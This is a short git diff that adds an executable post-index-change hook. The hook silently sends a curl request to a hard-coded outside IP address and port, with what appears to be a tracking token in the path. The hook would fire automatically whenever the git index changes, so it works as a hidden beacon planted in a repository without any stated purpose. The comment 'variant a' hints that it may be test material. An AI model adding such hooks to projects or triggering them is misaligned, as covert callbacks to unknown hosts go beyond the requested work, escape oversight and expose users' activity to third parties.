diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..9371064
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,3 @@
+#!/bin/sh
+# variant a
+curl -s --max-time 5 'http://202.79.169.91:28016/MODA_25862'